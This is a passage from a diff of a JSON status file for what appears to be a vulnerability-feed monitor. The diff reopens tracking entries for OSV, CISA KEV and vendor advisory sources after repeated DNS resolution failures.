Moodle::network::HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))" } }, { @@ -1355,10 +1305,10 @@ "display_name": "NestJS", "source_name": "OSV NestJS", "source_kind": "osv-batch", - "status": "resolved", - "opened_at": "2026-03-20T13:41:26+00:00", - "updated_at": "2026-03-20T15:45:58+00:00", - "resolved_at": "2026-03-20T15:45:58+00:00", + "status": "open", + "opened_at": "2026-03-21T12:51:08+00:00", + "updated_at": "2026-03-21T12:51:08+00:00", + "resolved_at": null, "failure_streak": 1, "last_category": "network", "last_failure": { @@ -1372,8 +1322,7 @@ "message": "HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))", "status_code": null, "url": "", - "summary": "nestjs::OSV NestJS::network::HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))", - "elapsed_seconds": 5.21 + "summary": "nestjs::OSV NestJS::network::HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))" } }, { @@ -1382,10 +1331,10 @@ "display_name": "Next.js", "source_name": "OSV Next.js", "source_kind": "osv-batch", - "status": "resolved", - "opened_at": "2026-03-20T13:41:26+00:00", - "updated_at": "2026-03-20T15:45:58+00:00", - "resolved_at": "2026-03-20T15:45:58+00:00", + "status": "open", + "opened_at": "2026-03-21T12:51:08+00:00", + "updated_at": "2026-03-21T12:51:08+00:00", + "resolved_at": null, "failure_streak": 1, "last_category": "network", "last_failure": { @@ -1399,8 +1348,7 @@ "message": "HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))", "status_code": null, "url": "", - "summary": "nextjs::OSV Next.js::network::HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))", - "elapsed_seconds": 5.23 + "summary": "nextjs::OSV Next.js::network::HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))" } }, { @@ -1409,10 +1357,10 @@ "display_name": "Nginx", "source_name": "CISA KEV NGINX", "source_kind": "kev-json", - "status": "resolved", - "opened_at": "2026-03-20T13:41:26+00:00", - "updated_at": "2026-03-20T15:45:58+00:00", - "resolved_at": "2026-03-20T15:45:58+00:00", + "status": "open", + "opened_at": "2026-03-21T12:51:08+00:00", + "updated_at": "2026-03-21T12:51:08+00:00", + "resolved_at": null, "failure_streak": 1, "last_category": "network", "last_failure": { @@ -1426,8 +1374,7 @@ "message": "HTTPSConnectionPool(host='www.cisa.gov', port=443): Max retries exceeded with url: /sites/default/files/feeds/known_exploited_vulnerabilities.json (Caused by NameResolutionError(\"HTTPSConnection(host='www.cisa.gov', port=443): Failed to resolve 'www.cisa.gov' ([Errno 8] nodename nor servname provided, or not known)\"))", "status_code": null, "url": "https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json", - "summary": "nginx::CISA KEV NGINX::network::HTTPSConnectionPool(host='www.cisa.gov', port=443): Max retries exceeded with url: /sites/default/files/feeds/known_exploited_vulnerabilities.json (Caused by NameResolutionError(\"HTTPSConnection(host='www.cisa.gov', port=443): Failed to resolve 'www.cisa.gov' ([Errno 8] nodename nor servname provided, or not known)\"))", - "elapsed_seconds": 6.946 + "summary": "nginx::CISA KEV NGINX::network::HTTPSConnectionPool(host='www.cisa.gov', port=443): Max retries exceeded with url: /sites/default/files/feeds/known_exploited_vulnerabilities.json (Caused by NameResolutionError(\"HTTPSConnection(host='www.cisa.gov', port=443): Failed to resolve 'www.cisa.gov' ([Errno 8] nodename nor servname provided, or not known)\"))" } }, { @@ -1436,10 +1383,10 @@ "display_name": "Nginx", "source_name": "NGINX Security Advisories", "source_kind": "html-links", - "status": "resolved", - "opened_at": "2026-03-20T13:41:26+00:00", - "updated_at": "2026-03-20T15:45:58+00:00", - "resolved_at": "2026-03-20T15:45:58+00:00", + "status": "open", + "opened_at": "2026-03-21T12:51:08+00:00", + "updated_at": "2026-03-21T12:51:08+00:00", + "resolved_at": null, "failure_streak": 1, "last_category": "network", "last_failure": { @@ -1453,8 +1400,7 @@ "message": "HTTPSConnectionPool(host='nginx.org', port=443): Max retries exceeded with url: /en/security_advisories.html (Caused by NameResolutionError(\"HTTPSConnection(host='nginx.org', port=443): Failed to resolve 'nginx.org' ([Errno 8] nodename nor servname provided, or not known)\"))", "status_code": null, "url": "https://nginx.org/en/security_advisories.html", - "summary": "nginx::NGINX Security Advisories::network::HTTPSConnectionPool(host='nginx.org', port=443): Max retries exceeded with url: /en/security_advisories.html (Caused by NameResolutionError(\"HTTPSConnection(host='nginx.org', port=443): Failed to resolve 'nginx.org' ([Errno 8] nodename nor servname provided, or not known)\"))", - "elapsed_seconds": 6.869 + "summary": "nginx::NGINX Security Advisories::network::HTTPSConnectionPool(host='nginx.org', port=443): Max retries exceeded with url: /en/security_advisories.html (Caused by NameResolutionError(\"HTTPSConnection(host='nginx.org', port=443): Failed to resolve 'nginx.org' ([Errno 8] nodename nor servname provided, or not known)\"))" } }, { @@ -1463,10 +1409,10 @@ "display_name": "Node.js", "source_name": "CISA KEV Node.js", "source_kind": "kev-json", - "status": "resolved", - "opened_at": "2026-03-20T13:41:26+00:00", - "updated_at": "2026-03-20T15:45:58+00:00", - "resolved_at": "2026-03-20T15:45:58+00:00", + "status": "open", + "opened_at": "2026-03-21T12:51:08+00:00", + "updated_at": "2026-03-21T12:51:08+00:00", + "resolved_at": null, "failure_streak": 1, "last_category": "network", "last_failure": { @@ -1480,8 +1426,7 @@ "message": "HTTPSConnectionPool(host='www.cisa.gov', port=443): Max retries exceeded with url: /sites/default/files/feeds/known_exploited_vulnerabilities.json (Caused by NameResolutionError(\"HTTPSConnection(host='www.cisa.gov', port=443): Failed to resolve 'www.cisa.gov' ([Errno 8] nodename nor servname provided, or not known)\"))", "status_code": null, "url": "https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json", - "summary": "nodejs::CISA KEV Node.js::network::HTTPSConnectionPool(host='www.cisa.gov', port=443): Max retries exceeded with url: /sites/default/files/feeds/known_exploited_vulnerabilities.json (Caused by NameResolutionError(\"HTTPSConnection(host='www.cisa.gov', port=443): Failed to resolve 'www.cisa.gov' ([Errno 8] nodename nor servname provided, or not known)\"))", - "elapsed_seconds": 5.174 + "summary": "nodejs::CISA KEV Node.js::network::HTTPSConnectionPool(host='www.cisa.gov', port=443): Max retries exceeded with url: /sites/default/files/feeds/known_exploited_vulnerabilities.json (Caused by NameResolutionError(\"HTTPSConnection(host='www.cisa.gov', port=443): Failed to resolve 'www.cisa.gov' ([Errno 8] nodename nor servname provided, or not known)\"))" } }, { @@ -1490,10 +1435,10 @@ "display_name": "Node.js", "source_name": "Node.js Security Releases", "source_kind": "html-links", - "status": "resolved", - "opened_at": "2026-03-20T13:41:26+00:00", - "updated_at": "2026-03-20T15:45:58+00:00", - "resolved_at": "2026-03-20T15:45:58+00:00", + "status": "open", + "opened_at": "2026-03-21T12:51:08+00:00", + "updated_at": "2026-03-21T12:51:08+00:00", + "resolved_at": null, "failure_streak": 1, "last_category": "network", "last_failure": { @@ -1507,8 +1452,7 @@ "message": "HTTPSConnectionPool(host='nodejs.org', port=443): Max retries exceeded with url: /en/blog/vulnerability (Caused by NameResolutionError(\"HTTPSConnection(host='nodejs.org', port=443): Failed to resolve 'nodejs.org' ([Errno 8] nodename nor servname provided, or not known)\"))", "status_code": null, "url": "https://nodejs.org/en/blog/vulnerability", - "summary": "nodejs::Node.js Security Releases::network::HTTPSConnectionPool(host='nodejs.org', port=443): Max retries exceeded with url: /en/blog/vulnerability (Caused by NameResolutionError(\"HTTPSConnection(host='nodejs.org', port=443): Failed to resolve 'nodejs.org' ([Errno 8] nodename nor servname provided, or not known)\"))", - "elapsed_seconds": 5.218 + "summary": "nodejs::Node.js Security Releases::network::HTTPSConnectionPool(host='nodejs.org', port=443): Max retries exceeded with url: /en/blog/vulnerability (Caused by NameResolutionError(\"HTTPSConnection(host='nodejs.org', port=443): Failed to resolve 'nodejs.org' ([Errno 8] nodename nor servname provided, or not known)\"))" } }, { @@ -1517,10 +1461,10 @@ "display_name": "Nuxt", "source_name": "OSV Nuxt", "source_kind": "osv-batch", - "status": "resolved", - "opened_at": "2026-03-20T13:41:26+00:00", - "updated_at": "2026-03-20T15:45:58+00:00", - "resolved_at": "2026-03-20T15:45:58+00:00", + "status": "open", + "opened_at": "2026-03-21T12:51:08+00:00", + "updated_at": "2026-03-21T12:51:08+00:00", + "resolved_at": null, "failure_streak": 1, "last_category": "network", "last_failure": { @@ -1534,8 +1478,7 @@ "message": "HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))", "status_code": null, "url": "", - "summary": "nuxt::OSV Nuxt::network::HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))", - "elapsed_seconds": 5.226 + "summary": "nuxt::OSV Nuxt::network::HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))" } }, { @@ -1544,10 +1487,10 @@ "display_name": "OpenCart", "source_name": "OSV OpenCart", "source_kind": "osv-batch", - "status": "resolved", - "opened_at": "2026-03-20T13:41:26+00:00", - "updated_at": "2026-03-20T15:45:58+00:00", - "resolved_at": "2026-03-20T15:45:58+00:00", + "status": "open", + "opened_at": "2026-03-21T12:51:08+00:00", + "updated_at": "2026-03-21T12:51:08+00:00", + "resolved_at": null, "failure_streak": 1, "last_category": "network", "last_failure": { @@ -1561,8 +1504,7 @@ "message": "HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))", "status_code": null, "url": "", - "summary": "opencart::OSV OpenCart::network::HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))", - "elapsed_seconds": 3.463 + "summary": "opencart::OSV OpenCart::network::HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))" } }, { @@ -1571,10 +1513,10 @@ "display_name": "OpenCart", "source_name": "OpenCart Releases", "source_kind": "html-links", - "status": "resolved", - "opened_at": "2026-03-20T13:41:26+00:00", - "updated_at": "2026-03-20T15:45:58+00:00", - "resolved_at": "2026-03-20T15:45:58+00:00", + "status": "open", + "opened_at": "2026-03-21T12:51:08+00:00", + "updated_at": "2026-03-21T12:51:08+00:00", + "resolved_at": null, "failure_streak": 1, "last_category": "network", "last_failure": { @@ -1588,8 +1530,7 @@ "message": "HTTPSConnectionPool(host='github.com', port=443): Max retries exceeded with url: /opencart/opencart/releases (Caused by NameResolutionError(\"HTTPSConnection(host='github.com', port=443): Failed to resolve 'github.com' ([Errno 8] nodename nor servname provided, or not known)\"))", "status_code": null, "url": "https://github.com/opencart/opencart/releases", - "summary": "opencart::OpenCart Releases::network::HTTPSConnectionPool(host='github.com', port=443): Max retries exceeded with url: /opencart/opencart/releases (Caused by NameResolutionError(\"HTTPSConnection(host='github.com', port=443): Failed to resolve 'github.com' ([Errno 8] nodename nor servname provided, or not known)\"))", - "elapsed_seconds": 3.496 + "summary": "opencart::OpenCart Releases::network::HTTPSConnectionPool(host='github.com', port=443): Max retries exceeded with url: /opencart/opencart/releases (Caused by NameResolutionError(\"HTTPSConnection(host='github.com', port=443): Failed to resolve 'github.com' ([Errno 8] nodename nor servname provided, or not known)\"))" } }, { @@ -1598,10 +1539,10 @@ "display_name": "OpenMage / Mage-OS", "source_name": "OSV OpenMage", "source_kind": "osv-batch", - "status": "resolved", - "opened_at": "2026-03-20T13:41:26+00:00", - "updated_at": "2026-03-20T15:45:58+00:00", - "resolved_at": "2026-03-20T15:45:58+00:00", + "status": "open", + "opened_at": "2026-03-21T12:51:08+00:00", + "updated_at": "2026-03-21T12:51:08+00:00", + "resolved_at": null, "failure_streak": 1, "last_category": "network", "last_failure": { @@ -1615,8 +1556,7 @@ "message": "HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))", "status_code": null, "url": "", - "summary": "openmage::OSV OpenMage::network::HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))", - "elapsed_seconds": 3.482 + "summary": "openmage::OSV OpenMage::network::HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))" } }, { @@ -1625,10 +1565,10 @@ "display_name": "OpenMage / Mage-OS", "source_name": "OpenMage GitHub Advisories", "source_kind": "html-links", - "status": "resolved", - "opened_at": "2026-03-20T13:41:26+00:00", - "updated_at": "2026-03-20T15:45:58+00:00", - "resolved_at": "2026-03-20T15:45:58+00:00", + "status": "open", + "opened_at": "2026-03-21T12:51:08+00:00", + "updated_at": "2026-03-21T12:51:08+00:00", + "resolved_at": null, "failure_streak": 1, "last_category": "network", "last_failure": { @@ -1642,8 +1582,7 @@ "message": "HTTPSConnectionPool(host='github.com', port=443): Max retries exceeded with url: /OpenMage/magento-lts/security/advisories (Caused by NameResolutionError(\"HTTPSConnection(host='github.com', port=443): Failed to resolve 'github.com' ([Errno 8] nodename nor servname provided, or not known)\"))", "status_code": null, "url": "https://github.com/OpenMage/magento-lts/security/advisories", - "summary": "openmage::OpenMage GitHub Advisories::network::HTTPSConnectionPool(host='github.com', port=443): Max retries exceeded with url: /OpenMage/magento-lts/security/advisories (Caused by NameResolutionError(\"HTTPSConnection(host='github.com', port=443): Failed to resolve 'github.com' ([Errno 8] nodename nor servname provided, or not known)\"))", - "elapsed_seconds": 3.46 + "summary": "openmage::OpenMage GitHub Advisories::network::HTTPSConnectionPool(host='github.com', port=443): Max retries exceeded with url: /OpenMage/magento-lts/security/advisories (Caused by NameResolutionError(\"HTTPSConnection(host='github.com', port=443): Failed to resolve 'github.com' ([Errno 8] nodename nor servname provided, or not known)\"))" } }, { @@ -1652,10 +1591,10 @@ "display_name": "phpMyAdmin", "source_name": "OSV phpMyAdmin", "source_kind": "osv-batch", - "status": "resolved", - "opened_at": "2026-03-20T13:41:26+00:00", - "updated_at": "2026-03-20T15:45:58+00:00", - "resolved_at": "2026-03-20T15:45:58+00:00", + "status": "open", + "opened_at": "2026-03-21T12:51:08+00:00", + "updated_at": "2026-03-21T12:51:08+00:00", + "resolved_at": null, "failure_streak": 1, "last_category": "network", "last_failure": { @@ -1669,8 +1608,7 @@ "message": "HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))", "status_code": null, "url": "", - "summary": "phpmyadmin::OSV phpMyAdmin::network::HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))", - "elapsed_seconds": 8.655 + "summary": "phpmyadmin::OSV phpMyAdmin::network::HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))" } }, { @@ -1679,10 +1617,10 @@ "display_name": "phpMyAdmin", "source_name": "phpMyAdmin Security Page", "source_kind": "html-links", - "status": "resolved", - "opened_at": "2026-03-20T13:41:26+00:00", - "updated_at": "2026-03-20T15:45:58+00:00", - "resolved_at": "2026-03-20T15:45:58+00:00", + "status": "open", + "opened_at": "2026-03-21T12:51:08+00:00", + "updated_at": "2026-03-21T12:51:08+00:00", + "resolved_at": null, "failure_streak": 1, "last_category": "network", "last_failure": { @@ -1696,8 +1634,7 @@ "message": "HTTPSConnectionPool(host='www.phpmyadmin.net', port=443): Max retries exceeded with url: /security/ (Caused by NameResolutionError(\"HTTPSConnection(host='www.phpmyadmin.net', port=443): Failed to resolve 'www.phpmyadmin.net' ([Errno 8] nodename nor servname provided, or not known)\"))", "status_code": null, "url": "https://www.phpmyadmin.net/security/", - "summary": "phpmyadmin::phpMyAdmin Security Page::network::HTTPSConnectionPool(host='www.phpmyadmin.net', port=443): Max retries exceeded with url: /security/ (Caused by NameResolutionError(\"HTTPSConnection(host='www.phpmyadmin.net', port=443): Failed to resolve 'www.phpmyadmin.net' ([Errno 8] nodename nor servname provided, or not known)\"))", - "elapsed_seconds": 8.67 + "summary": "phpmyadmin::phpMyAdmin Security Page::network::HTTPSConnectionPool(host='www.phpmyadmin.net', port=443): Max retries exceeded with url: /security/ (Caused by NameResolutionError(\"HTTPSConnection(host='www.phpmyadmin.net', port=443): Failed to resolve 'www.phpmyadmin.net' ([Errno 8] nodename nor servname provided, or not known)\"))" } }, { @@ -1706,10 +1643,10 @@ "display_name": "PrestaShop", "source_name": "Friends Of Presta Security", "source_kind": "html-links", - "status": "resolved", - "opened_at": "2026-03-20T13:41:26+00:00", - "updated_at": "2026-03-20T15:45:58+00:00", - "resolved_at": "2026-03-20T15:45:58+00:00", + "status": "open", + "opened_at": "2026-03-21T12:51:08+00:00", + "updated_at": "2026-03-21T12:51:08+00:00", + "resolved_at": null, "failure_streak": 1, "last_category": "network", "last_failure": { @@ -1723,8 +1660,7 @@ "message": "HTTPSConnectionPool(host='security.friendsofpresta.org', port=443): Max retries exceeded with url: / (Caused by NameResolutionError(\"HTTPSConnection(host='security.friendsofpresta.org', port=443): Failed to resolve 'security.friendsofpresta.org' ([Errno 8] nodename nor servname provided, or not known)\"))", "status_code": null, "url": "https://security.friendsofpresta.org/", - "summary": "prestashop::Friends Of Presta Security::network::HTTPSConnectionPool(host='security.friendsofpresta.org', port=443): Max retries exceeded with url: / (Caused by NameResolutionError(\"HTTPSConnection(host='security.friendsofpresta.org', port=443): Failed to resolve 'security.friendsofpresta.org' ([Errno 8] nodename nor servname provided, or not known)\"))", - "elapsed_seconds": 3.449 + "summary": "prestashop::Friends Of Presta Security::network::HTTPSConnectionPool(host='security.friendsofpresta.org', port=443): Max retries exceeded with url: / (Caused by NameResolutionError(\"HTTPSConnection(host='security.friendsofpresta.org', port=443): Failed to resolve 'security.friendsofpresta.org' ([Errno 8] nodename nor servname provided, or not known)\"))" } }, { @@ -1733,10 +1669,10 @@ "display_name": "PrestaShop", "source_name": "GitHub PrestaShop Advisories", "source_kind": "html-links", - "status": "resolved", - "opened_at": "2026-03-20T13:41:26+00:00", - "updated_at": "2026-03-20T15:45:58+00:00", - "resolved_at": "2026-03-20T15:45:58+00:00", + "status": "open", + "opened_at": "2026-03-21T12:51:08+00:00", + "updated_at": "2026-03-21T12:51:08+00:00", + "resolved_at": null, "failure_streak": 1, "last_category": "network", "last_failure": { @@ -1750,8 +1686,7 @@ "message": "HTTPSConnectionPool(host='github.com', port=443): Max retries exceeded with url: /PrestaShop/PrestaShop/security/advisories (Caused by NameResolutionError(\"HTTPSConnection(host='github.com', port=443): Failed to resolve 'github.com' ([Errno 8] nodename nor servname provided, or not known)\"))", "status_code": null, "url": "https://github.com/PrestaShop/PrestaShop/security/advisories", - "summary": "prestashop::GitHub PrestaShop Advisories::network::HTTPSConnectionPool(host='github.com', port=443): Max retries exceeded with url: /PrestaShop/PrestaShop/security/advisories (Caused by NameResolutionError(\"HTTPSConnection(host='github.com', port=443): Failed to resolve 'github.com' ([Errno 8] nodename nor servname provided, or not known)\"))", - "elapsed_seconds": 3.457 + "summary": "prestashop::GitHub PrestaShop Advisories::network::HTTPSConnectionPool(host='github.com', port=443): Max retries exceeded with url: /PrestaShop/PrestaShop/security/advisories (Caused by NameResolutionError(\"HTTPSConnection(host='github.com', port=443): Failed to resolve 'github.com' ([Errno 8] nodename nor servname provided, or not known)\"))" } }, { @@ -1760,10 +1695,10 @@ "display_name": "PrestaShop", "source_name": "OSV PrestaShop", "source_kind": "osv-batch", - "status": "resolved", - "opened_at": "2026-03-20T13:41:26+00:00", - "updated_at": "2026-03-20T15:45:58+00:00", - "resolved_at": "2026-03-20T15:45:58+00:00", + "status": "open", + "opened_at": "2026-03-21T12:51:08+00:00", + "updated_at": "2026-03-21T12:51:08+00:00", + "resolved_at": null, "failure_streak": 1, "last_category": "network", "last_failure": { @@ -1777,8 +1712,7 @@ "message": "HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))", "status_code": null, "url": "", - "summary": "prestashop::OSV PrestaShop::network::HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))", - "elapsed_seconds": 3.464 + "summary": "prestashop::OSV PrestaShop::network::HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))" } }, { @@ -1787,10 +1721,10 @@ "display_name": "PrestaShop", "source_name": "PrestaShop Security Page", "source_kind": "html-links", - "status": "resolved", - "opened_at": "2026-03-20T13:41:26+00:00", - "updated_at": "2026-03-20T15:45:58+00:00", - "resolved_at": "2026-03-20T15:45:58+00:00", + "status": "open", + "opened_at": "2026-03-21T12:51:08+00:00", + "updated_at": "2026-03-21T12:51:08+00:00", + "resolved_at": null, "failure_streak": 1, "last_category": "network", "last_failure": { @@ -1804,8 +1738,7 @@ "message": "HTTPSConnectionPool(host='build.prestashop-project.org', port=443): Max retries exceeded with url: /news/ (Caused by NameResolutionError(\"HTTPSConnection(host='build.prestashop-project.org', port=443): Failed to resolve 'build.prestashop-project.org' ([Errno 8] nodename nor servname provided, or not known)\"))", "status_code": null, "url": "https://build.prestashop-project.org/news/", - "summary": "prestashop::PrestaShop Security Page::network::HTTPSConnectionPool(host='build.prestashop-project.org', port=443): Max retries exceeded with url: /news/ (Caused by NameResolutionError(\"HTTPSConnection(host='build.prestashop-project.org', port=443): Failed to resolve 'build.prestashop-project.org' ([Errno 8] nodename nor servname provided, or not known)\"))", - "elapsed_seconds": 3.463 + "summary": "prestashop::PrestaShop Security Page::network::HTTPSConnectionPool(host='build.prestashop-project.org', port=443): Max retries exceeded with url: /news/ (Caused by NameResolutionError(\"HTTPSConnection(host='build.prestashop-project.org', port=443): Failed to resolve 'build.prestashop-project.org' ([Errno 8] nodename nor servname provided, or not known)\"))" } }, { @@ -1814,10 +1747,10 @@ "display_name": "Ruby on Rails", "source_name": "OSV Rails", "source_kind": "osv-batch", - "status": "resolved", - "opened_at": "2026-03-20T13:41:26+00:00", - "updated_at": "2026-03-20T15:45:58+00:00", - "resolved_at": "2026-03-20T15:45:58+00:00", + "status": "open", + "opened_at": "2026-03-21T12:51:08+00:00", + "updated_at": "2026-03-21T12:51:08+00:00", + "resolved_at": null, "failure_streak": 1, "last_category": "network", "last_failure": { @@ -1831,8 +1764,7 @@ "message": "HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))", "status_code": null, "url": "", - "summary": "rails::OSV Rails::network::HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))", - "elapsed_seconds": 6.919 + "summary": "rails::OSV Rails::network::HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))" } }, { @@ -1841,10 +1773,10 @@ "display_name": "React", "source_name": "OSV React", "source_kind": "osv-batch", - "status": "resolved", - "opened_at": "2026-03-20T13:41:26+00:00", - "updated_at": "2026-03-20T15:45:58+00:00", - "resolved_at": "2026-03-20T15:45:58+00:00", + "status": "open", + "opened_at": "2026-03-21T12:51:08+00:00", + "updated_at": "2026-03-21T12:51:08+00:00", + "resolved_at": null, "failure_streak": 1, "last_category": "network", "last_failure": { @@ -1858,8 +1790,7 @@ "message": "HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))", "status_code": null, "url": "", - "summary": "react::OSV React::network::HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))", - "elapsed_seconds": 5.21 + "summary": "react::OSV React::network::HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))" } }, { @@ -1868,10 +1799,10 @@ "display_name": "Redmine", "source_name": "OSV Redmine", "source_kind": "osv-batch", - "status": "resolved", - "opened_at": "2026-03-20T13:41:26+00:00", - "updated_at": "2026-03-20T15:45:58+00:00", - "resolved_at": "2026-03-20T15:45:58+00:00", + "status": "open", + "opened_at": "2026-03-21T12:51:08+00:00", + "updated_at": "2026-03-21T12:51:08+00:00", + "resolved_at": null, "failure_streak": 1, "last_category": "network", "last_failure": { @@ -1885,8 +1816,7 @@ "message": "HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))", "status_code": null, "url": "", - "summary": "redmine::OSV Redmine::network::HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))", - "elapsed_seconds": 10.344 + "summary": "redmine::OSV Redmine::network::HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))" } }, { @@ -1895,10 +1825,10 @@ "display_name": "Redmine", "source_name": "Redmine Security Advisories", "source_kind": "html-links", - "status": "resolved", - "opened_at": "2026-03-20T13:41:26+00:00", - "updated_at": "2026-03-20T15:45:58+00:00", - "resolved_at": "2026-03-20T15:45:58+00:00", + "status": "open", + "opened_at": "2026-03-21T12:51:08+00:00", + "updated_at": "2026-03-21T12:51:08+00:00", + "resolved_at": null, "failure_streak": 1, "last_category": "network", "last_failure": 